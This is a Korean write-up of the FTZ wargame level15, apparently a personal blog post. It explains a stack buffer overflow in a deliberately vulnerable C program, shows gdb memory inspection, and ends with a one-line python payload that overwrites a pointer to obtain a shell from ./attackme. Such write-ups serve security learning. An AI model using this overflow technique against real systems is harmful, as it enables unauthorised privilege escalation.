[FTZ] level15
level15로 로그인해서 문제를 확인해 보았다.
level14 문제와 비슷한데, 한 가지 다른 점은 check가 포인터로 할당되어 있는 점이다.
문제를 만족시키기 위해서 check가 들어 있는 메모리 주소값에 0xdeadbeef 가 있는 주소를 넣어 줘야 한다.
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
코드를 확인하면, 문제를 풀기 위해 필요한 정보는 두 가지이다.
1. fgets 함수에서 길이값 검증을 하지 않아 buf의 원래 길이는 20 bytes이지만 최대 45 bytes까지 입력 가능하다.
2. 쉘을 획득하기 위해서는 if함수를 통과해야 하는데 이를 만족시키기 위해서, 0xdeadbeef가 들어있는 메모리주소를 알아내어 check의 주소값에 넣어야 한다.
* 참고 : gdb로 분석이 잘 안 되면, /tmp 파일로 옮겨서 하면 잘된다.
push ebp
mov ebp, esp
함수 프롤로그를 통해서 함수가 시작되고,
변수 할당을 위해서 sub esp,0x38 명령어로 stack에 할당이 된다.
* 0x38는 10진수로 56bytes이다.
그리고
mov eax,DWORD PTR [ebp-16]
cmp DWORD PTR [eax], 0xdeadbeef 이 부분이 함수에서의 if문의 함수인데, 비교(compare)를 하기 위해서 [ebp-16] 위치에 저장되어 있는 주소의 데이터랑 0xdeadbeef와 비교하는 것을 통해서 check 위치가 ebp-16인 것을 알 수 있다.
0xdeadbeef라는 단어가 check와 비교를 위해 main함수가에 들어 있기 때문에,
gdb에서 main 함수의 메모리 값을 확인해 보면 된다.
- 메모리 상태 검사 (x)
x/[범위][출력 형식][범위의 단위] : 메모리의 특정 범위의 값들을 확인
- 출력형식
x/10 main : main 함수 시작부터 40바이트를 출력
x/10t main : main 함수 시작부터 40바이트를 2진수로 출력
x/10o main : main 함수 시작부터 40바이트를 8진수로 출력
x/10d main : main 함수 시작부터 40바이트를 부호가 있는 10진수로 출력
x/10u main : main 함수 시작부터 40바이트를 부호가 없는 10진수로 출력
x/10x main : main 함수 시작부터 40바이트를 16진수로 출력
x/10c main : main 함수 시작부터 40바이트를 최초 1바이트 값을 문자형으로 출력
x/10f main : main 함수 시작부터 40바이트를 부동 소수점 값 형식으로 출력
x/10a main : 가장 가까운 심벌의 오프셋을 출력
x/10s main : 문자열로 출력
x/10i main : 어셈블리 형식으로 출력
출처 : https://mk28.tistory.com/134
그래서 0xdeadbeef의 위치는 0x80484b2
그래서 쉘을 획득하기 위해서 buf를 check부분까지 덮어쓰면 될 것 같다.
buf(20bytes) + dummy(20bytes) + check(4bytes)
1. buf(20bytes) + dummy(20bytes) ▶ 40bytes 길이에 'A' 삽입
2. check(4bytes) ▶ 0xdeadbeef 의 주소 삽입(0x80484b2)
위의 정보를 넣어서 만든 코드 :
$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
성공!
reference : https://limjunho.github.io/2020/03/12/ftz-level15.html